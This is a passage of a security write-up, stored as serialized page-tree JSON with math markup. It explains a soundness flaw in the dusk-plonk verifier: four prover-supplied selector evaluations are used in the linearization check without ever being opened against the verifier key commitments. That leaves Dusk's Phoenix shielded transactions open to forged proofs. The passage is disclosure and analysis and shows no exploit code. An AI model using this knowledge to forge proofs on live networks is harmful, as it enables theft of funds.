type":24,"value":142119},{"type":19,"tag":168,"props":142443,"children":142445},{"className":142444},[1456],[142446],{"type":19,"tag":168,"props":142447,"children":142449},{"className":142448},[1461,19097],[142450,142479],{"type":19,"tag":168,"props":142451,"children":142453},{"className":142452},[1466],[142454,142474],{"type":19,"tag":168,"props":142455,"children":142457},{"className":142456,"style":90587},[1471],[142458],{"type":19,"tag":168,"props":142459,"children":142460},{"style":91068},[142461,142465],{"type":19,"tag":168,"props":142462,"children":142464},{"className":142463,"style":1481},[1480],[],{"type":19,"tag":168,"props":142466,"children":142468},{"className":142467},[1486,1487,1488,1489],[142469],{"type":19,"tag":168,"props":142470,"children":142472},{"className":142471},[1439,1489],[142473],{"type":24,"value":14978},{"type":19,"tag":168,"props":142475,"children":142477},{"className":142476},[19200],[142478],{"type":24,"value":19203},{"type":19,"tag":168,"props":142480,"children":142482},{"className":142481},[1466],[142483],{"type":19,"tag":168,"props":142484,"children":142486},{"className":142485,"style":90618},[1471],[142487],{"type":19,"tag":168,"props":142488,"children":142489},{},[],{"type":19,"tag":168,"props":142491,"children":142493},{"className":142492},[19194],[142494],{"type":24,"value":12858},{"type":24,"value":142496},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":19,"tag":20,"props":142498,"children":142499},{},[142500],{"type":24,"value":142501},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":19,"tag":16245,"props":142503,"children":142504},{},[],{"type":19,"tag":36,"props":142506,"children":142508},{"id":142507},"where-dusk-plonk-differs-from-textbook-plonk",[142509],{"type":24,"value":142510},"Where dusk-plonk differs from textbook PLONK",{"type":19,"tag":20,"props":142512,"children":142513},{},[142514,142523,142525,142530,142532,142562],{"type":19,"tag":269,"props":142515,"children":142517},{"href":139389,"rel":142516},[273],[142518],{"type":19,"tag":27,"props":142519,"children":142521},{"className":142520},[],[142522],{"type":24,"value":139393},{"type":24,"value":142524}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":19,"tag":27,"props":142526,"children":142528},{"className":142527},[],[142529],{"type":24,"value":68051},{"type":24,"value":142531},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":19,"tag":27,"props":142533,"children":142535},{"className":142534},[1411,1412],[142536],{"type":19,"tag":168,"props":142537,"children":142539},{"className":142538},[1417],[142540],{"type":19,"tag":168,"props":142541,"children":142543},{"className":142542,"ariaHidden":1423},[1422],[142544],{"type":19,"tag":168,"props":142545,"children":142547},{"className":142546},[1428],[142548,142552,142557],{"type":19,"tag":168,"props":142549,"children":142551},{"className":142550,"style":108375},[1433],[],{"type":19,"tag":168,"props":142553,"children":142555},{"className":142554,"style":111091},[1439,19043],[142556],{"type":24,"value":111094},{"type":19,"tag":168,"props":142558,"children":142560},{"className":142559,"style":91021},[1439,19043],[142561],{"type":24,"value":142224},{"type":24,"value":142563},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":19,"tag":20,"props":142565,"children":142566},{},[142567,142569,142574,142575,142580,142582,142588,142590,142597],{"type":24,"value":142568},"The important part for this bug is the boundary between ",{"type":19,"tag":51,"props":142570,"children":142571},{},[142572],{"type":24,"value":142573},"public circuit data",{"type":24,"value":8436},{"type":19,"tag":51,"props":142576,"children":142577},{},[142578],{"type":24,"value":142579},"prover claims about that data at the random challenge point",{"type":24,"value":142581},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":19,"tag":27,"props":142583,"children":142585},{"className":142584},[],[142586],{"type":24,"value":142587},"Ql, Qr, Qm, Qo, Qk",{"type":24,"value":142589}," directly into the ",{"type":19,"tag":269,"props":142591,"children":142594},{"href":142592,"rel":142593},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[273],[142595],{"type":24,"value":142596},"linearization multi-scalar multiplication",{"type":24,"value":142598},", ensuring their values are cryptographically bound by construction.",{"type":19,"tag":20,"props":142600,"children":142601},{},[142602,142604,142629],{"type":24,"value":142603},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":19,"tag":27,"props":142605,"children":142607},{"className":142606},[1411,1412],[142608],{"type":19,"tag":168,"props":142609,"children":142611},{"className":142610},[1417],[142612],{"type":19,"tag":168,"props":142613,"children":142615},{"className":142614,"ariaHidden":1423},[1422],[142616],{"type":19,"tag":168,"props":142617,"children":142619},{"className":142618},[1428],[142620,142624],{"type":19,"tag":168,"props":142621,"children":142623},{"className":142622,"style":108375},[1433],[],{"type":19,"tag":168,"props":142625,"children":142627},{"className":142626,"style":111091},[1439,19043],[142628],{"type":24,"value":111094},{"type":24,"value":142630}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":19,"tag":20,"props":142632,"children":142633},{},[142634],{"type":24,"value":142635},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":19,"tag":142637,"props":142638,"children":142639},"dusk-verifier-dependence-graph",{},[],{"type":19,"tag":16245,"props":142641,"children":142642},{},[],{"type":19,"tag":36,"props":142644,"children":142646},{"id":142645},"how-dusk-uses-plonk",[142647],{"type":24,"value":142648},"How Dusk uses PLONK",{"type":19,"tag":20,"props":142650,"children":142651},{},[142652,142658],{"type":19,"tag":269,"props":142653,"children":142655},{"href":139398,"rel":142654},[273],[142656],{"type":24,"value":142657},"Dusk Network",{"type":24,"value":142659}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":19,"tag":43,"props":142661,"children":142662},{},[142663,142668],{"type":19,"tag":47,"props":142664,"children":142665},{},[142666],{"type":24,"value":142667},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":19,"tag":47,"props":142669,"children":142670},{},[142671],{"type":24,"value":142672},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":19,"tag":20,"props":142674,"children":142675},{},[142676,142678,142689,142691,142702],{"type":24,"value":142677},"At node level, every ",{"type":19,"tag":269,"props":142679,"children":142682},{"href":142680,"rel":142681},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[273],[142683],{"type":19,"tag":27,"props":142684,"children":142686},{"className":142685},[],[142687],{"type":24,"value":142688},"ProtocolTransaction::Phoenix",{"type":24,"value":142690}," goes through ",{"type":19,"tag":269,"props":142692,"children":142695},{"href":142693,"rel":142694},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[273],[142696],{"type":19,"tag":27,"props":142697,"children":142699},{"className":142698},[],[142700],{"type":24,"value":142701},"verify_proof_with_version()",{"type":24,"value":142703}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":19,"tag":20,"props":142705,"children":142706},{},[142707,142709,142720,142722,142733,142734,142745,142746,142757,142758,142769],{"type":24,"value":142708},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":19,"tag":269,"props":142710,"children":142713},{"href":142711,"rel":142712},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[273],[142714],{"type":19,"tag":27,"props":142715,"children":142717},{"className":142716},[],[142718],{"type":24,"value":142719},"phoenix()",{"type":24,"value":142721},", for example in ",{"type":19,"tag":269,"props":142723,"children":142726},{"href":142724,"rel":142725},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[273],[142727],{"type":19,"tag":27,"props":142728,"children":142730},{"className":142729},[],[142731],{"type":24,"value":142732},"phoenix_stake()",{"type":24,"value":471},{"type":19,"tag":269,"props":142735,"children":142738},{"href":142736,"rel":142737},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[273],[142739],{"type":19,"tag":27,"props":142740,"children":142742},{"className":142741},[],[142743],{"type":24,"value":142744},"phoenix_stake_reward()",{"type":24,"value":471},{"type":19,"tag":269,"props":142747,"children":142750},{"href":142748,"rel":142749},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[273],[142751],{"type":19,"tag":27,"props":142752,"children":142754},{"className":142753},[],[142755],{"type":24,"value":142756},"phoenix_unstake()",{"type":24,"value":3923},{"type":19,"tag":269,"props":142759,"children":142762},{"href":142760,"rel":142761},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[273],[142763],{"type":19,"tag":27,"props":142764,"children":142766},{"className":142765},[],[142767],{"type":24,"value":142768},"phoenix_to_moonlight()",{"type":24,"value":142770},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":19,"tag":20,"props":142772,"children":142773},{},[142774],{"type":19,"tag":1344,"props":142775,"children":142778},{"alt":142776,"src":142777},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":19,"tag":20,"props":142780,"children":142781},{},[142782,142784,142790,142792,142799],{"type":24,"value":142783},"The PLONK implementation, ",{"type":19,"tag":269,"props":142785,"children":142788},{"href":142786,"rel":142787},"https://github.com/dusk-network/plonk",[273],[142789],{"type":24,"value":139393},{"type":24,"value":142791},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":19,"tag":269,"props":142793,"children":142796},{"href":142794,"rel":142795},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[273],[142797],{"type":24,"value":142798},"the original paper",{"type":24,"value":142800}," was released.",{"type":19,"tag":20,"props":142802,"children":142803},{},[142804,142806,142812],{"type":24,"value":142805},"The Phoenix transaction PLONK circuit is defined ",{"type":19,"tag":269,"props":142807,"children":142810},{"href":142808,"rel":142809},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[273],[142811],{"type":24,"value":45066},{"type":24,"value":142813},". The circuit enforces the following set of constraints:",{"type":19,"tag":53228,"props":142815,"children":142816},{},[142817,142833],{"type":19,"tag":120485,"props":142818,"children":142819},{},[142820],{"type":19,"tag":120489,"props":142821,"children":142822},{},[142823,142828],{"type":19,"tag":120493,"props":142824,"children":142825},{},[142826],{"type":24,"value":142827},"Circuit check",{"type":19,"tag":120493,"props":142829,"children":142830},{},[142831],{"type":24,"value":142832},"Statement being checked",{"type":19,"tag":120513,"props":142834,"children":142835},{},[142836,142854,142872,142890,142908,143065,143205,143223],{"type":19,"tag":120489,"props":142837,"children":142838},{},[142839,142849],{"type":19,"tag":120520,"props":142840,"children":142841},{},[142842],{"type":19,"tag":269,"props":142843,"children":142846},{"href":142844,"rel":142845},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[273],[142847],{"type":24,"value":142848},"Merkle tree membership",{"type":19,"tag":120520,"props":142850,"children":142851},{},[142852],{"type":24,"value":142853},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":19,"tag":120489,"props":142855,"children":142856},{},[142857,142867],{"type":19,"tag":120520,"props":142858,"children":142859},{},[142860],{"type":19,"tag":269,"props":142861,"children":142864},{"href":142862,"rel":142863},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[273],[142865],{"type":24,"value":142866},"Input-note secret-key authorization",{"type":19,"tag":120520,"props":142868,"children":142869},{},[142870],{"type":24,"value":142871},"The prover knows the secret key controlling each input note",{"type":19,"tag":120489,"props":142873,"children":142874},{},[142875,142885],{"type":19,"tag":120520,"props":142876,"children":142877},{},[142878],{"type":19,"tag":269,"props":142879,"children":142882},{"href":142880,"rel":142881},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[273],[142883],{"type":24,"value":142884},"Nullifier correctness",{"type":19,"tag":120520,"props":142886,"children":142887},{},[142888],{"type":24,"value":142889},"Each nullifier matches the corresponding note key and position",{"type":19,"tag":120489,"props":142891,"children":142892},{},[142893,142903],{"type":19,"tag":120520,"props":142894,"children":142895},{},[142896],{"type":19,"tag":269,"props":142897,"children":142900},{"href":142898,"rel":142899},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[273],[142901],{"type":24,"value":142902},"Output value commitment correctness",{"type":19,"tag":120520,"props":142904,"children":142905},{},[142906],{"type":24,"value":142907},"Each public output commitment matches the secret output value and blinder",{"type":19,"tag":120489,"props":142909,"children":142910},{},[142911,142921],{"type":19,"tag":120520,"props":142912,"children":142913},{},[142914],{"type":19,"tag":269,"props":142915,"children":142918},{"href":142916,"rel":142917},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[273],[142919],{"type":24,"value":142920},"Balance integrity",{"type":19,"tag":120520,"props":142922,"children":142923},{},[142924],{"type":19,"tag":27,"props":142925,"children":142927},{"className":142926},[1411,1412],[142928],{"type":19,"tag":168,"props":142929,"children":142931},{"className":142930},[1417],[142932],{"type":19,"tag":168,"props":142933,"children":142935},{"className":142934,"ariaHidden":1423},[1422],[142936,142976,143016,143048],{"type":19,"tag":168,"props":142937,"children":142939},{"className":142938},[1428],[142940,142944,142949,142953,142963,142967,142972],{"type":19,"tag":168,"props":142941,"children":142943},{"className":142942,"style":1541},[1433],[],{"type":19,"tag":168,"props":142945,"children":142947},{"className":142946,"style":19086},[19079,19084,19085],[142948],{"type":24,"value":106329},{"type":19,"tag":168,"props":142950,"children":142952},{"className":142951,"style":1559},[1520],[],{"type":19,"tag":168,"props":142954,"children":142956},{"className":142955},[1439,24],[142957],{"type":19,"tag":168,"props":142958,"children":142960},{"className":142959},[1439],[142961],{"type":24,"value":142962},"inputs",{"type":19,"tag":168,"props":142964,"children":142966},{"className":142965,"style":1618},[1520],[],{"type":19,"tag":168,"props":142968,"children":142970},{"className":142969},[1623],[142971],{"type":24,"value":486},{"type":19,"tag":168,"props":142973,"children":142975},{"className":142974,"style":1618},[1520],[],{"type":19,"tag":168,"props":142977,"children":142979},{"className":142978},[1428],[142980,142984,142989,142993,143003,143007,143012],{"type":19,"tag":168,"props":142981,"children":142983},{"className":142982,"style":1541},[1433],[],{"type":19,"tag":168,"props":142985,"children":142987},{"className":142986,"style":19086},[19079,19084,19085],[142988],{"type":24,"value":106329},{"type":19,"tag":168,"props":142990,"children":142992},{"className":142991,"style":1559},[1520],[],{"type":19,"tag":168,"props":142994,"children":142996},{"className":142995},[1439,24],[142997],{"type":19,"tag":168,"props":142998,"children":143000},{"className":142999},[1439],[143001],{"type":24,"value":143002},"outputs",{"type":19,"tag":168,"props":143004,"children":143006},{"className":143005,"style":1521},[1520],[],{"type":19,"tag":168,"props":143008,"children":143010},{"className":143009},[1526],[143011],{"type":24,"value":1811},{"type":19,"tag":168,"props":143013,"children":143015},{"className":143014,"style":1521},[1520],[],{"type":19,"tag":168,"props":143017,"children":143019},{"className":143018},[1428],[143020,143025,143035,143039,143044],{"type":19,"tag":168,"props":143021,"children":143024},{"className":143022,"style":143023},[1433],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":19,"tag":168,"props":143026,"children":143028},{"className":143027},[1439,24],[143029],{"type":19,"tag":168,"props":143030,"children":143032},{"className":143031},[1439],[143033],{"type":24,"value":143034},"fee",{"type":19,"tag":168,"props":143036,"children":143038},{"className":143037,"style":1521},[1520],[],{"type":19,"tag":168,"props":143040,"children":143042},{"className":143041},[1526],[143043],{"type":24,"value":1811},{"type":19,"tag":168,"props":143045,"children":143047},{"className":143046,"style":1521},[1520],[],{"type":19,"tag":168,"props":143049,"children":143051},{"className":143050},[1428],[143052,143056],{"type":19,"tag":168,"props":143053,"children":143055},{"className":143054,"style":112589},[1433],[],{"type":19,"tag":168,"props":143057,"children":143059},{"className":143058},[1439,24],[143060],{"type":19,"tag":168,"props":143061,"children":143063},{"className":143062},[1439],[143064],{"type":24,"value":59448},{"type":19,"tag":120489,"props":143066,"children":143067},{},[143068,143085],{"type":19,"tag":120520,"props":143069,"children":143070},{},[143071,143078,143079],{"type":19,"tag":269,"props":143072,"children":143075},{"href":143073,"rel":143074},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[273],[143076],{"type":24,"value":143077},"Range checks on inputs",{"type":24,"value":8436},{"type":19,"tag":269,"props":143080,"children":143083},{"href":143081,"rel":143082},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[273],[143084],{"type":24,"value":143002},{"type":19,"tag":120520,"props":143086,"children":143087},{},[143088,143090],{"type":24,"value":143089},"All note values lie in ",{"type":19,"tag":27,"props":143091,"children":143093},{"className":143092},[1411,1412],[143094],{"type":19,"tag":168,"props":143095,"children":143097},{"className":143096},[1417],[143098],{"type":19,"tag":168,"props":143099,"children":143101},{"className":143100,"ariaHidden":1423},[1422],[143102,143187],{"type":19,"tag":168,"props":143103,"children":143105},{"className":143104},[1428],[143106,143110,143115,143120,143125,143129,143174,143178,143183],{"type":19,"tag":168,"props":143107,"children":143109},{"className":143108,"style":112846},[1433],[],{"type":19,"tag":168,"props":143111,"children":143113},{"className":143112},[19172],[143114],{"type":24,"value":1152},{"type":19,"tag":168,"props":143116,"children":143118},{"className":143117},[1439],[143119],{"type":24,"value":1452},{"type":19,"tag":168,"props":143121,"children":143123},{"className":143122},[1552],[143124],{"type":24,"value":1555},{"type":19,"tag":168,"props":143126,"children":143128},{"className":143127,"style":1559},[1520],[],{"type":19,"tag":168,"props":143130,"children":143132},{"className":143131},[1439],[143133,143138],{"type":19,"tag":168,"props":143134,"children":143136},{"className":143135},[1439],[143137],{"type":24,"value":519},{"type":19,"tag":168,"props":143139,"children":143141},{"className":143140},[1456],[143142],{"type":19,"tag":168,"props":143143,"children":143145},{"className":143144},[1461],[143146],{"type":19,"tag":168,"props":143147,"children":143149},{"className":143148},[1466],[143150],{"type":19,"tag":168,"props":143151,"children":143153},{"className":143152,"style":1434},[1471],[143154],{"type":19,"tag":168,"props":143155,"children":143156},{"style":1475},[143157,143161],{"type":19,"tag":168,"props":143158,"children":143160},{"className":143159,"style":1481},[1480],[],{"type":19,"tag":168,"props":143162,"children":143164},{"className":143163},[1486,1487,1488,1489],[143165],{"type":19,"tag":168,"props":143166,"children":143168},{"className":143167},[1439,1489],[143169],{"type":19,"tag":168,"props":143170,"children":143172},{"className":143171},[1439,1489],[143173],{"type":24,"value":26893},{"type":19,"tag":168,"props":143175,"children":143177},{"className":143176,"style":1521},[1520],[],{"type":19,"tag":168,"props":143179,"children":143181},{"className":143180},[1526],[143182],{"type":24,"value":1500},{"type":19,"tag":168,"props":143184,"children":143186},{"className":143185,"style":1521},[1520],[],{"type":19,"tag":168,"props":143188,"children":143190},{"className":143189},[1428],[143191,143195,143200],{"type":19,"tag":168,"props":143192,"children":143194},{"className":143193,"style":1541},[1433],[],{"type":19,"tag":168,"props":143196,"children":143198},{"className":143197},[1439],[143199],{"type":24,"value":1442},{"type":19,"tag":168,"props":143201,"children":143203},{"className":143202},[19194],[143204],{"type":24,"value":12858},{"type":19,"tag":120489,"props":143206,"children":143207},{},[143208,143218],{"type":19,"tag":120520,"props":143209,"children":143210},{},[143211],{"type":19,"tag":269,"props":143212,"children":143215},{"href":143213,"rel":143214},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[273],[143216],{"type":24,"value":143217},"Sender-authorship signatures",{"type":19,"tag":120520,"props":143219,"children":143220},{},[143221],{"type":24,"value":143222},"The transaction payload is signed by the sender's two signing key components",{"type":19,"tag":120489,"props":143224,"children":143225},{},[143226,143236],{"type":19,"tag":120520,"props":143227,"children":143228},{},[143229],{"type":19,"tag":269,"props":143230,"children":143233},{"href":143231,"rel":143232},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[273],[143234],{"type":24,"value":143235},"Sender encryption correctness",{"type":19,"tag":120520,"props":143237,"children":143238},{},[143239],{"type":24,"value":143240},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":19,"tag":20,"props":143242,"children":143243},{},[143244,143246,143252,143254,143263],{"type":24,"value":143245},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":19,"tag":27,"props":143247,"children":143249},{"className":143248},[],[143250],{"type":24,"value":143251},"tx.public_inputs()",{"type":24,"value":143253}," via ",{"type":19,"tag":269,"props":143255,"children":143257},{"href":142693,"rel":143256},[273],[143258],{"type":19,"tag":27,"props":143259,"children":143261},{"className":143260},[],[143262],{"type":24,"value":142701},{"type":24,"value":948},{"type":19,"tag":20,"props":143265,"children":143266},{},[143267],{"type":24,"value":143268},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":19,"tag":16245,"props":143270,"children":143271},{},[],{"type":19,"tag":36,"props":143273,"children":143274},{"id":87790},[143275],{"type":24,"value":143276},"The bug",{"type":19,"tag":20,"props":143278,"children":143279},{},[143280,143282,143289,143291,143302],{"type":24,"value":143281},"In the ",{"type":19,"tag":269,"props":143283,"children":143286},{"href":143284,"rel":143285},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[273],[143287],{"type":24,"value":143288},"PLONK verification",{"type":24,"value":143290},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":19,"tag":269,"props":143292,"children":143295},{"href":143293,"rel":143294},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[273],[143296],{"type":19,"tag":27,"props":143297,"children":143299},{"className":143298},[],[143300],{"type":24,"value":143301},"E_evals",{"type":24,"value":143303},") are:",{"type":19,"tag":43,"props":143305,"children":143306},{},[143307,143339,143364,143389],{"type":19,"tag":47,"props":143308,"children":143309},{},[143310,143316,143317,143323,143324,143330,143331,143337],{"type":19,"tag":27,"props":143311,"children":143313},{"className":143312},[],[143314],{"type":24,"value":143315},"a_eval",{"type":24,"value":471},{"type":19,"tag":27,"props":143318,"children":143320},{"className":143319},[],[143321],{"type":24,"value":143322},"b_eval",{"type":24,"value":471},{"type":19,"tag":27,"props":143325,"children":143327},{"className":143326},[],[143328],{"type":24,"value":143329},"c_eval",{"type":24,"value":471},{"type":19,"tag":27,"props":143332,"children":143334},{"className":143333},[],[143335],{"type":24,"value":143336},"d_eval",{"type":24,"value":143338}," (witness)",{"type":19,"tag":47,"props":143340,"children":143341},{},[143342,143348,143349,143355,143356,143362],{"type":19,"tag":27,"props":143343,"children":143345},{"className":143344},[],[143346],{"type":24,"value":143347},"s_sigma_1_eval",{"type":24,"value":471},{"type":19,"tag":27,"props":143350,"children":143352},{"className":143351},[],[143353],{"type":24,"value":143354},"s_sigma_2_eval",{"type":24,"value":471},{"type":19,"tag":27,"props":143357,"children":143359},{"className":143358},[],[143360],{"type":24,"value":143361},"s_sigma_3_eval",{"type":24,"value":143363}," (permutation)",{"type":19,"tag":47,"props":143365,"children":143366},{},[143367,143373,143374,143380,143381,143387],{"type":19,"tag":27,"props":143368,"children":143370},{"className":143369},[],[143371],{"type":24,"value":143372},"a_w_eval",{"type":24,"value":471},{"type":19,"tag":27,"props":143375,"children":143377},{"className":143376},[],[143378],{"type":24,"value":143379},"b_w_eval",{"type":24,"value":471},{"type":19,"tag":27,"props":143382,"children":143384},{"className":143383},[],[143385],{"type":24,"value":143386},"d_w_eval",{"type":24,"value":143388}," (shifted witness)",{"type":19,"tag":47,"props":143390,"children":143391},{},[143392,143398],{"type":19,"tag":27,"props":143393,"children":143395},{"className":143394},[],[143396],{"type":24,"value":143397},"z_eval",{"type":24,"value":143399}," (permutation accumulator)",{"type":19,"tag":20,"props":143401,"children":143402},{},[143403,143405,143409],{"type":24,"value":143404},"But the following selector evaluations were ",{"type":19,"tag":293,"props":143406,"children":143407},{},[143408],{"type":24,"value":15940},{"type":24,"value":143410}," included:",{"type":19,"tag":43,"props":143412,"children":143413},{},[143414,143425,143436,143447],{"type":19,"tag":47,"props":143415,"children":143416},{},[143417,143423],{"type":19,"tag":27,"props":143418,"children":143420},{"className":143419},[],[143421],{"type":24,"value":143422},"q_arith_eval",{"type":24,"value":143424}," (arithmetic selector)",{"type":19,"tag":47,"props":143426,"children":143427},{},[143428,143434],{"type":19,"tag":27,"props":143429,"children":143431},{"className":143430},[],[143432],{"type":24,"value":143433},"q_c_eval",{"type":24,"value":143435}," (constant selector)",{"type":19,"tag":47,"props":143437,"children":143438},{},[143439,143445],{"type":19,"tag":27,"props":143440,"children":143442},{"className":143441},[],[143443],{"type":24,"value":143444},"q_l_eval",{"type":24,"value":143446}," (left selector)",{"type":19,"tag":47,"props":143448,"children":143449},{},[143450,143456],{"type":19,"tag":27,"props":143451,"children":143453},{"className":143452},[],[143454],{"type":24,"value":143455},"q_r_eval",{"type":24,"value":143457}," (right selector)",{"type":19,"tag":20,"props":143459,"children":143460},{},[143461,143463,143470,143471,143478,143479,143486,143487,143494],{"type":24,"value":143462},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":19,"tag":269,"props":143464,"children":143467},{"href":143465,"rel":143466},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[273],[143468],{"type":24,"value":143469},"proof struct",{"type":24,"value":471},{"type":19,"tag":269,"props":143472,"children":143475},{"href":143473,"rel":143474},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[273],[143476],{"type":24,"value":143477},"transcript absorption",{"type":24,"value":471},{"type":19,"tag":269,"props":143480,"children":143483},{"href":143481,"rel":143482},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[273],[143484],{"type":24,"value":143485},"arithmetic widget",{"type":24,"value":471},{"type":19,"tag":269,"props":143488,"children":143491},{"href":143489,"rel":143490},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[273],[143492],{"type":24,"value":143493},"fixed-base ECC widget",{"type":24,"value":143495},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":19,"tag":20,"props":143497,"children":143498},{},[143499,143501,143505],{"type":24,"value":143500},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":19,"tag":293,"props":143502,"children":143503},{},[143504],{"type":24,"value":15940},{"type":24,"value":143506}," bugs:",{"type":19,"tag":43,"props":143508,"children":143509},{},[143510,143650],{"type":19,"tag":47,"props":143511,"children":143512},{},[143513,143515,143560,143562,143568,143570,143575,143576,143581,143582,143587,143589,143595,143597,143642,143644,143649],{"type":24,"value":143514},"There is no prover-supplied ",{"type":19,"tag":27,"props":143516,"children":143518},{"className":143517},[1411,1412],[143519],{"type":19,"tag":168,"props":143520,"children":143522},{"className":143521},[1417],[143523],{"type":19,"tag":168,"props":143524,"children":143526},{"className":143525,"ariaHidden":1423},[1422],[143527],{"type":19,"tag":168,"props":143528,"children":143530},{"className":143529},[1428],[143531,143535,143540,143545,143550,143555],{"type":19,"tag":168,"props":143532,"children":143534},{"className":143533,"style":1541},[1433],[],{"type":19,"tag":168,"props":143536,"children":143538},{"className":143537},[1439,19043],[143539],{"type":24,"value":543},{"type":19,"tag":168,"props":143541,"children":143543},{"className":143542},[19172],[143544],{"type":24,"value":500},{"type":19,"tag":168,"props":143546,"children":143548},{"className":143547,"style":111091},[1439,19043],[143549],{"type":24,"value":111094},{"type":19,"tag":168,"props":143551,"children":143553},{"className":143552,"style":91021},[1439,19043],[143554],{"type":24,"value":142224},{"type":19,"tag":168,"props":143556,"children":143558},{"className":143557},[19194],[143559],{"type":24,"value":524},{"type":24,"value":143561}," field at all. ",{"type":19,"tag":27,"props":143563,"children":143565},{"className":143564},[],[143566],{"type":24,"value":143567},"ProofEvaluations",{"type":24,"value":143569}," contains 